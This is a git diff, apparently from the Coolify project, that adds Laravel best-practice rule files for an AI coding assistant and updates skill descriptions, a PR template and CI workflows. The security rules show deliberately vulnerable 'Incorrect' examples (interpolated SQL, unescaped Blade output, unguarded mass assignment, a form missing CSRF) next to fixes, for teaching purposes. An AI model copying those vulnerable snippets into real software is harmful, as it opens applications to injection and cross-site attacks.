+Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments. + +```php +public function down(): void +{ + Schema::table('posts', function (Blueprint $table) { + $table->dropColumn('slug'); + }); +} +``` + +For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported. + +## Keep Migrations Focused + +One concern per migration. Never mix DDL (schema changes) and DML (data manipulation). + +Incorrect (partial failure creates unrecoverable state): +```php +public function up(): void +{ + Schema::create('settings', function (Blueprint $table) { ... }); + DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +} +``` + +Correct (separate migrations): +```php +// Migration 1: create_settings_table +Schema::create('settings', function (Blueprint $table) { ... }); + +// Migration 2: seed_default_settings +DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/queue-jobs.md b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md new file mode 100644 index 000000000..d4575aac0 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/queue-jobs.md @@ -0,0 +1,146 @@ +# Queue & Job Best Practices + +## Set `retry_after` Greater Than `timeout` + +If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution. + +Incorrect (`retry_after` ≤ `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 90 ← job retried while still running! +``` + +Correct (`retry_after` > `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 180 ← safely longer than any job timeout +``` + +## Use Exponential Backoff + +Use progressively longer delays between retries to avoid hammering failing services. + +Incorrect (fixed retry interval): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + // Default: retries immediately, overwhelming the API +} +``` + +Correct (exponential backoff): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + public $backoff = [1, 5, 10]; +} +``` + +## Implement `ShouldBeUnique` + +Prevent duplicate job processing. + +```php +class GenerateInvoice implements ShouldQueue, ShouldBeUnique +{ + public function uniqueId(): string + { + return $this->order->id; + } + + public $uniqueFor = 3600; +} +``` + +## Always Implement `failed()` + +Handle errors explicitly — don't rely on silent failure. + +```php +public function failed(?Throwable $exception): void +{ + $this->podcast->update(['status' => 'failed']); + Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]); +} +``` + +## Rate Limit External API Calls in Jobs + +Use `RateLimited` middleware to throttle jobs calling third-party APIs. + +```php +public function middleware(): array +{ + return [new RateLimited('external-api')]; +} +``` + +## Batch Related Jobs + +Use `Bus::batch()` when jobs should succeed or fail together. + +```php +Bus::batch([ + new ImportCsvChunk($chunk1), + new ImportCsvChunk($chunk2), +]) +->then(fn (Batch $batch) => Notification::send($user, new ImportComplete)) +->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed')) +->dispatch(); +``` + +## `retryUntil()` Needs `$tries = 0` + +When using time-based retry limits, set `$tries = 0` to avoid premature failure. + +```php +public $tries = 0; + +public function retryUntil(): DateTime +{ + return now()->addHours(4); +} +``` + +## Use `WithoutOverlapping::untilProcessing()` + +Prevents concurrent execution while allowing new instances to queue. + +```php +public function middleware(): array +{ + return [new WithoutOverlapping($this->product->id)->untilProcessing()]; +} +``` + +Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts. + +## Use Horizon for Complex Queue Scenarios + +Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities. + +```php +// config/horizon.php +'environments' => [ + 'production' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['high', 'default', 'low'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], + ], +], +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/routing.md b/.cursor/skills/laravel-best-practices/rules/routing.md new file mode 100644 index 000000000..e288375d7 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/routing.md @@ -0,0 +1,98 @@ +# Routing & Controllers Best Practices + +## Use Implicit Route Model Binding + +Let Laravel resolve models automatically from route parameters. + +Incorrect: +```php +public function show(int $id) +{ + $post = Post::findOrFail($id); +} +``` + +Correct: +```php +public function show(Post $post) +{ + return view('posts.show', ['post' => $post]); +} +``` + +## Use Scoped Bindings for Nested Resources + +Enforce parent-child relationships automatically. + +```php +Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) { + // $post is automatically scoped to $user +})->scopeBindings(); +``` + +## Use Resource Controllers + +Use `Route::resource()` or `apiResource()` for RESTful endpoints. + +```php +Route::resource('posts', PostController::class); +Route::apiResource('api/posts', Api\PostController::class); +``` + +## Keep Controllers Thin + +Aim for under 10 lines per method. Extract business logic to action or service classes. + +Incorrect: +```php +public function store(Request $request) +{ + $validated = $request->validate([...]); + if ($request->hasFile('image')) { + $request->file('image')->move(public_path('images')); + } + $post = Post::create($validated); + $post->tags()->sync($validated['tags']); + event(new PostCreated($post)); + return redirect()->route('posts.show', $post); +} +``` + +Correct: +```php +public function store(StorePostRequest $request, CreatePostAction $create) +{ + $post = $create->execute($request->validated()); + + return redirect()->route('posts.show', $post); +} +``` + +## Type-Hint Form Requests + +Type-hinting Form Requests triggers automatic validation and authorization before the method executes. + +Incorrect: +```php +public function store(Request $request): RedirectResponse +{ + $validated = $request->validate([ + 'title' => ['required', 'max:255'], + 'body' => ['required'], + ]); + + Post::create($validated); + + return redirect()->route('posts.index'); +} +``` + +Correct: +```php +public function store(StorePostRequest $request): RedirectResponse +{ + Post::create($request->validated()); + + return redirect()->route('posts.index'); +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/scheduling.md b/.cursor/skills/laravel-best-practices/rules/scheduling.md new file mode 100644 index 000000000..dfaefa26f --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/scheduling.md @@ -0,0 +1,39 @@ +# Task Scheduling Best Practices + +## Use `withoutOverlapping()` on Variable-Duration Tasks + +Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion. + +## Use `onOneServer()` on Multi-Server Deployments + +Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached). + +## Use `runInBackground()` for Concurrent Long Tasks + +By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes. + +## Use `environments()` to Restrict Tasks + +Prevent accidental execution of production-only tasks (billing, reporting) on staging. + +```php +Schedule::command('billing:charge')->monthly()->environments(['production']); +``` + +## Use `takeUntilTimeout()` for Time-Bounded Processing + +A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time. + +## Use Schedule Groups for Shared Configuration + +Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks. + +```php +Schedule::daily() + ->onOneServer() + ->timezone('America/New_York') + ->group(function () { + Schedule::command('emails:send --force'); + Schedule::command('emails:prune'); + }); +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/security.md b/.cursor/skills/laravel-best-practices/rules/security.md new file mode 100644 index 000000000..524d47e61 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/security.md @@ -0,0 +1,198 @@ +# Security Best Practices + +## Mass Assignment Protection + +Every model must define `$fillable` (whitelist) or `$guarded` (blacklist). + +Incorrect: +```php +class User extends Model +{ + protected $guarded = []; // All fields are mass assignable +} +``` + +Correct: +```php +class User extends Model +{ + protected $fillable = [ + 'name', + 'email', + 'password', + ]; +} +``` + +Never use `$guarded = []` on models that accept user input. + +## Authorize Every Action + +Use policies or gates in controllers. Never skip authorization. + +Incorrect: +```php +public function update(Request $request, Post $post) +{ + $post->update($request->validated()); +} +``` + +Correct: +```php +public function update(UpdatePostRequest $request, Post $post) +{ + Gate::authorize('update', $post); + + $post->update($request->validated()); +} +``` + +Or via Form Request: + +```php +public function authorize(): bool +{ + return $this->user()->can('update', $this->route('post')); +} +``` + +## Prevent SQL Injection + +Always use parameter binding. Never interpolate user input into queries. + +Incorrect: +```php +DB::select("SELECT * FROM users WHERE name = '{$request->name}'"); +``` + +Correct: +```php +User::where('name', $request->name)->get(); + +// Raw expressions with bindings +User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get(); +``` + +## Escape Output to Prevent XSS + +Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content. + +Incorrect: +```blade +{!! $user->bio !!} +``` + +Correct: +```blade +{{ $user->bio }} +``` + +## CSRF Protection + +Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia. + +Incorrect: +```blade +
+ +
+``` + +Correct: +```blade +
+ @csrf + +
+``` + +## Rate Limit Auth and API Routes + +Apply `throttle` middleware to authentication and API routes. + +```php +RateLimiter::for('login', function (Request $request) { + return Limit::perMinute(5)->by($request->ip()); +}); + +Route::post('/login', LoginController::class)->middleware('throttle:login'); +``` + +## Validate File Uploads + +Validate MIME type, extension, and size. Never trust client-provided filenames. + +```php +public function rules(): array +{ + return [ + 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'], + ]; +} +``` + +Store with generated filenames: + +```php +$path = $request->file('avatar')->store('avatars', 'public'); +``` + +## Keep Secrets Out of Code + +Never commit `.env`. Access secrets via `config()` only. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'api_key' => env('API_KEY'), + +// In application code +$key = config('services.api_key'); +``` + +## Audit Dependencies + +Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment. + +```bash +composer audit +``` + +## Encrypt Sensitive Database Fields + +Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`. + +Incorrect: +```php +class Integration extends Model +{ + protected function casts(): array + { + return [ + 'api_key' => 'string', + ]; + } +} +``` + +Correct: +```php +class Integration extends Model +{ + protected $hidden = ['api_key', 'api_secret']; + + protected function casts(): array + { + return [ + 'api_key' => 'encrypted', + 'api_secret' => 'encrypted', + ]; + } +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/style.md b/.cursor/skills/laravel-best-practices/rules/style.md new file mode 100644 index 000000000..db689bf77 Binary files /dev/null and b/.cursor/skills/laravel-best-practices/rules/style.md differ diff --git a/.cursor/skills/laravel-best-practices/rules/testing.md b/.cursor/skills/laravel-best-practices/rules/testing.md new file mode 100644 index 000000000..d39cc3ed0 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/testing.md @@ -0,0 +1,43 @@ +# Testing Best Practices + +## Use `LazilyRefreshDatabase` Over `RefreshDatabase` + +`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites. + +## Use Model Assertions Over Raw Database Assertions + +Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);` + +Correct: `$this->assertModelExists($user);` + +More expressive, type-safe, and fails with clearer messages. + +## Use Factory States and Sequences + +Named states make tests self-documenting. Sequences eliminate repetitive setup. + +Incorrect: `User::factory()->create(['email_verified_at' => null]);` + +Correct: `User::factory()->unverified()->create();` + +## Use `Exceptions::fake()` to Assert Exception Reporting + +Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally. + +## Call `Event::fake()` After Factory Setup + +Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models. + +Incorrect: `Event::fake(); $user = User::factory()->create();` + +Correct: `$user = User::factory()->create(); Event::fake();` + +## Use `recycle()` to Share Relationship Instances Across Factories + +Without `recycle()`, nested factories create separate instances of the same conceptual entity. + +```php +Ticket::factory() + ->recycle(Airline::factory()->create()) + ->create(); +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/validation.md b/.cursor/skills/laravel-best-practices/rules/validation.md new file mode 100644 index 000000000..a20202ff1 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/validation.md @@ -0,0 +1,75 @@ +# Validation & Forms Best Practices + +## Use Form Request Classes + +Extract validation from controllers into dedicated Form Request classes. + +Incorrect: +```php +public function store(Request $request) +{ + $request->validate([ + 'title' => 'required|max:255', + 'body' => 'required', + ]); +} +``` + +Correct: +```php +public function store(StorePostRequest $request) +{ + Post::create($request->validated()); +} +``` + +## Array vs. String Notation for Rules + +Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses. + +```php +// Preferred for new code +'email' => ['required', 'email', Rule::unique('users')], + +// Follow existing convention if the project uses string notation +'email' => 'required|email|unique:users', +``` + +## Always Use `validated()` + +Get only validated data. Never use `$request->all()` for mass operations. + +Incorrect: +```php +Post::create($request->all()); +``` + +Correct: +```php +Post::create($request->validated()); +``` + +## Use `Rule::when()` for Conditional Validation + +```php +'company_name' => [ + Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']), +], +``` + +## Use the `after()` Method for Custom Validation + +Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields. + +```php +public function after(): array +{ + return [ + function (Validator $validator) { + if ($this->quantity > Product::find($this->product_id)?->stock) { + $validator->errors()->add('quantity', 'Not enough stock.'); + } + }, + ]; +} +``` \ No newline at end of file diff --git a/.cursor/skills/livewire-development/SKILL.md b/.cursor/skills/livewire-development/SKILL.md index 755d20713..70ecd57d4 100644 --- a/.cursor/skills/livewire-development/SKILL.md +++ b/.cursor/skills/livewire-development/SKILL.md @@ -1,24 +1,13 @@ --- name: livewire-development -description: >- - Develops reactive Livewire 3 components. Activates when creating, updating, or modifying - Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; - adding real-time updates, loading states, or reactivity; debugging component behavior; - writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI. +description: "Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire." +license: MIT +metadata: + author: laravel --- # Livewire Development -## When to Apply - -Activate this skill when: -- Creating new Livewire components -- Modifying existing component state or behavior -- Debugging reactivity or lifecycle issues -- Writing Livewire component tests -- Adding Alpine.js interactivity to components -- Working with wire: directives - ## Documentation Use `search-docs` for detailed Livewire 3 patterns and documentation. @@ -62,33 +51,31 @@ ### Component Structure ### Using Keys in Loops - - + +```blade @foreach ($items as $item)
{{ $item->name }}
@endforeach - -
+``` ### Lifecycle Hooks Prefer lifecycle hooks like `mount()`, `updatedFoo()` for initialization and reactive side effects: - - + +```php public function mount(User $user) { $this->user = $user; } public function updatedSearch() { $this->resetPage(); } - - +``` ## JavaScript Hooks You can listen for `livewire:init` to hook into Livewire initialization: - - + +```js document.addEventListener('livewire:init', function () { Livewire.hook('request', ({ fail }) => { if (fail && fail.status === 419) { @@ -100,28 +87,25 @@ ## JavaScript Hooks console.error(message); }); }); - - +``` ## Testing - - + +```php Livewire::test(Counter::class) ->assertSet('count', 0) ->call('increment') ->assertSet('count', 1) ->assertSee(1) ->assertStatus(200); +``` - - - - + +```php $this->get('/posts/create') ->assertSeeLivewire(CreatePost::class); - - +``` ## Common Pitfalls diff --git a/.cursor/skills/pest-testing/SKILL.md b/.cursor/skills/pest-testing/SKILL.md index 67455e7e6..ba774e71b 100644 --- a/.cursor/skills/pest-testing/SKILL.md +++ b/.cursor/skills/pest-testing/SKILL.md @@ -1,24 +1,13 @@ --- name: pest-testing -description: >- - Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature - tests, adding assertions, testing Livewire components, browser testing, debugging test failures, - working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, - coverage, or needs to verify functionality works. +description: "Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code." +license: MIT +metadata: + author: laravel --- # Pest Testing 4 -## When to Apply - -Activate this skill when: - -- Creating new tests (unit, feature, or browser) -- Modifying existing tests -- Debugging test failures -- Working with browser testing or smoke testing -- Writing architecture tests or visual regression tests - ## Documentation Use `search-docs` for detailed Pest 4 patterns and documentation. @@ -37,13 +26,12 @@ ### Test Organization ### Basic Test Structure - - + +```php it('is true', function () { expect(true)->toBeTrue(); }); - - +``` ### Running Tests @@ -55,13 +43,12 @@ ## Assertions Use specific assertions (`assertSuccessful()`, `assertNotFound()`) instead of `assertStatus()`: - - + +```php it('returns all', function () { $this->postJson('/api/docs', [])->assertSuccessful(); }); - - +``` | Use | Instead of | |-----|------------| @@ -77,16 +64,15 @@ ## Datasets Use datasets for repetitive tests (validation rules, etc.): - - + +```php it('has emails', function (string $email) { expect($email)->not->toBeEmpty(); })->with([ 'james' => 'james@laravel.com', 'taylor' => 'taylor@laravel.com', ]); - - +``` ## Pest 4 Features @@ -111,8 +97,8 @@ ### Browser Test Example - Switch color schemes (light/dark mode) when appropriate. - Take screenshots or pause tests for debugging. - - + +```php it('may reset the password', function () { Notification::fake(); @@ -129,20 +115,18 @@ ### Browser Test Example Notification::assertSent(ResetPassword::class); }); - - +``` ### Smoke Testing Quickly validate multiple pages have no JavaScript errors: - - + +```php $pages = visit(['/', '/about', '/contact']); $pages->assertNoJavaScriptErrors()->assertNoConsoleLogs(); - - +``` ### Visual Regression Testing @@ -156,14 +140,13 @@ ### Architecture Testing Pest 4 includes architecture testing (from Pest 3): - - + +```php arch('controllers') ->expect('App\Http\Controllers') ->toExtendNothing() ->toHaveSuffix('Controller'); - - +``` ## Common Pitfalls diff --git a/.cursor/skills/socialite-development/SKILL.md b/.cursor/skills/socialite-development/SKILL.md new file mode 100644 index 000000000..e660da691 --- /dev/null +++ b/.cursor/skills/socialite-development/SKILL.md @@ -0,0 +1,80 @@ +--- +name: socialite-development +description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication." +license: MIT +metadata: + author: laravel +--- + +# Socialite Authentication + +## Documentation + +Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth). + +## Available Providers + +Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch` + +Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`. + +Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`. + +Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand. + +Community providers differ from built-in providers in the following ways: +- Installed via `composer require socialiteproviders/{name}` +- Must register via event listener — NOT auto-discovered like built-in providers +- Use `search-docs` for the registration pattern + +## Adding a Provider + +### 1. Configure the provider + +Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly. + +### 2. Create redirect and callback routes + +Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details. + +### 3. Authenticate and store the user + +In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`. + +### 4. Customize the redirect (optional) + +- `scopes()` — merge additional scopes with the provider's defaults +- `setScopes()` — replace all scopes entirely +- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google) +- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object. +- `stateless()` — for API/SPA contexts where session state is not maintained + +### 5. Verify + +1. Config key matches driver name exactly (check the list above for hyphenated names) +2. `client_id`, `client_secret`, and `redirect` are all present +3. Redirect URL matches what is registered in the provider's OAuth dashboard +4. Callback route handles denied grants (when user declines authorization) + +Use `search-docs` for complete code examples of each step. + +## Additional Features + +Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details. + +User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes` + +## Testing + +Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods. + +## Common Pitfalls + +- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails. +- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors. +- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely. +- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`. +- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol). +- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved. +- Community providers require event listener registration via `SocialiteWasCalled`. +- `user()` throws when the user declines authorization. Always handle denied grants. \ No newline at end of file diff --git a/.cursor/skills/tailwindcss-development/SKILL.md b/.cursor/skills/tailwindcss-development/SKILL.md index 12bd896bb..7c8e295e8 100644 --- a/.cursor/skills/tailwindcss-development/SKILL.md +++ b/.cursor/skills/tailwindcss-development/SKILL.md @@ -1,24 +1,13 @@ --- name: tailwindcss-development -description: >- - Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, - working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, - typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, - hero section, cards, buttons, or any visual/UI changes. +description: "Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS." +license: MIT +metadata: + author: laravel --- # Tailwind CSS Development -## When to Apply - -Activate this skill when: - -- Adding styles to components or pages -- Working with responsive design -- Implementing dark mode -- Extracting repeated patterns into components -- Debugging spacing or layout issues - ## Documentation Use `search-docs` for detailed Tailwind CSS v4 patterns and documentation. @@ -38,22 +27,24 @@ ### CSS-First Configuration In Tailwind v4, configuration is CSS-first using the `@theme` directive — no separate `tailwind.config.js` file is needed: - + +```css @theme { --color-brand: oklch(0.72 0.11 178); } - +``` ### Import Syntax In Tailwind v4, import Tailwind with a regular CSS `@import` statement instead of the `@tailwind` directives used in v3: - + +```diff - @tailwind base; - @tailwind components; - @tailwind utilities; + @import "tailwindcss"; - +``` ### Replaced Utilities @@ -77,43 +68,47 @@ ## Spacing Use `gap` utilities instead of margins for spacing between siblings: - + +```html
Item 1
Item 2
-
+``` ## Dark Mode If existing pages and components support dark mode, new pages and components must support it the same way, typically using the `dark:` variant: - + +```html
Content adapts to color scheme
-
+``` ## Common Patterns ### Flexbox Layout - + +```html
Left content
Right content
-
+``` ### Grid Layout - + +```html
Card 1
Card 2
Card 3
-
+``` ## Common Pitfalls diff --git a/.env.development.example b/.env.development.example index b0b15f324..594b89201 100644 --- a/.env.development.example +++ b/.env.development.example @@ -24,6 +24,10 @@ RAY_ENABLED=false # Enable Laravel Telescope for debugging TELESCOPE_ENABLED=false +# Enable Laravel Nightwatch monitoring +NIGHTWATCH_ENABLED=false +NIGHTWATCH_TOKEN= + # Selenium Driver URL for Dusk DUSK_DRIVER_URL=http://selenium:4444 diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 157e409c8..7fd2c358e 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,45 +1,51 @@ - + -### Changes - - +## Changes + + - -### Issues - +## Issues -- fixes: + -### Category - -- [x] Bug fix -- [x] New feature -- [x] Adding new one click service -- [x] Fixing or updating existing one click service +- Fixes -### Screenshots or Video (if applicable) - - +## Category -### AI Usage - - +- [ ] Bug fix +- [ ] Improvement +- [ ] New feature +- [ ] Adding new one click service +- [ ] Fixing or updating existing one click service -- [x] AI is used in the process of creating this PR -- [x] AI is NOT used in the process of creating this PR +## Preview -### Steps to Test - - + -- Step 1 – what to do first -- Step 2 – next action +## AI Assistance -### Contributor Agreement - + + +- [ ] AI was NOT used to create this PR +- [ ] AI was used (please describe below) + +**If AI was used:** + +- Tools used: +- How extensively: + +## Testing + + + +## Contributor Agreement + + > [!IMPORTANT] > -> - [x] I have read and understood the [contributor guidelines](https://github.com/coollabsio/coolify/blob/v4.x/CONTRIBUTING.md). If I have failed to follow any guideline, I understand that this PR may be closed without review. -> - [x] I have tested the changes thoroughly and am confident that they will work as expected without issues when the maintainer tests them +> - [ ] I have read and understood the [contributor guidelines](https://github.com/coollabsio/coolify/blob/v4.x/CONTRIBUTING.md). If I have failed to follow any guideline, I understand that this PR may be closed without review. +> - [ ] I have searched [existing issues](https://github.com/coollabsio/coolify/issues) and [pull requests](https://github.com/coollabsio/coolify/pulls) (including closed ones) to ensure this isn't a duplicate. +> - [ ] I have tested all the changes thoroughly with a local development instance of Coolify and I am confident that they will work as expected when a maintainer tests them. diff --git a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml b/.github/workflows/chore-remove-labels-and-assignees-on-close.yml deleted file mode 100644 index 8ac199a08..000000000 --- a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml +++ /dev/null @@ -1,86 +0,0 @@ -name: Remove Labels and Assignees on Issue Close - -on: - issues: - types: [closed] - pull_request: - types: [closed] - pull_request_target: - types: [closed] - -permissions: - issues: write - pull-requests: write - -jobs: - remove-labels-and-assignees: - runs-on: ubuntu-latest - steps: - - name: Remove labels and assignees - uses: actions/github-script@v7 - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const { owner, repo } = context.repo; - - async function processIssue(issueNumber, isFromPR = false, prBaseBranch = null) { - try { - if (isFromPR && prBaseBranch !== 'v4.x') { - return; - } - - const { data: currentLabels } = await github.rest.issues.listLabelsOnIssue({ - owner, - repo, - issue_number: issueNumber - }); - - const labelsToKeep = currentLabels - .filter(label => label.name === '⏱︎ Stale') - .map(label => label.name); - - await github.rest.issues.setLabels({ - owner, - repo, - issue_number: issueNumber, - labels: labelsToKeep - }); - - const { data: issue } = await github.rest.issues.get({ - owner, - repo, - issue_number: issueNumber - }); - - if (issue.assignees && issue.assignees.length > 0) { - await github.rest.issues.removeAssignees({ - owner, - repo, - issue_number: issueNumber, - assignees: issue.assignees.map(assignee => assignee.login) - }); - } - } catch (error) { - if (error.status !== 404) { - console.error(`Error processing issue ${issueNumber}:`, error); - } - } - } - - if (context.eventName === 'issues') { - await processIssue(context.payload.issue.number); - } - - if (context.eventName === 'pull_request' || context.eventName === 'pull_request_target') { - const pr = context.payload.pull_request; - await processIssue(pr.number); - if (pr.merged && pr.base.ref === 'v4.x' && pr.body) { - const issueReferences = pr.body.match(/#(\d+)/g); - if (issueReferences) { - for (const reference of issueReferences) { - const issueNumber = parseInt(reference.substring(1)); - await processIssue(issueNumber, true, pr.base.ref); - } - } - } - } diff --git a/.github/workflows/coolify-production-build.yml b/.github/workflows/coolify-production-build.yml index 477274751..5ccb43a8e 100644 --- a/.github/workflows/coolify-production-build.yml +++ b/.github/workflows/coolify-production-build.yml @@ -8,6 +8,7 @@ on: - .github/workflows/coolify-helper-next.yml - .github/workflows/coolify-realtime.yml - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml - docker/coolify-helper/Dockerfile - docker/coolify-realtime/Dockerfile - docker/testing-host/Dockerfile diff --git a/.github/workflows/coolify-staging-build.yml b/.github/workflows/coolify-staging-build.yml index 494ef6939..c5b70ca92 100644 --- a/.github/workflows/coolify-staging-build.yml +++ b/.github/workflows/coolify-staging-build.yml @@ -11,6 +11,7 @@ on: - .github/workflows/coolify-helper-next.yml - .github/workflows/coolify-realtime.yml - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml - docker/coolify-helper/Dockerfile - docker/coolify-realtime/Dockerfile - docker/testing-host/Dockerfile diff --git a/.github/workflows/generate-changelog.yml b/.github/workflows/generate-changelog.yml index 935a88721..c02c13848 100644 --- a/.github/workflows/generate-changelog.yml +++ b/.github/workflows/generate-changelog.yml @@ -3,6 +3,12 @@ name: Generate Changelog on: push: branches: [ v4.x ] + paths-ignore: + - .github/workflows/coolify-helper.yml + - .github/workflows/coolify-helper-next.yml + - .github/workflows/coolify-realtime.yml + - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml workflow_dispatch: permissions: diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml new file mode 100644 index 000000000..594724fdb --- /dev/null +++ b/.github/workflows/pr-quality.yaml @@ -0,0 +1,108 @@ +name: PR Quality + 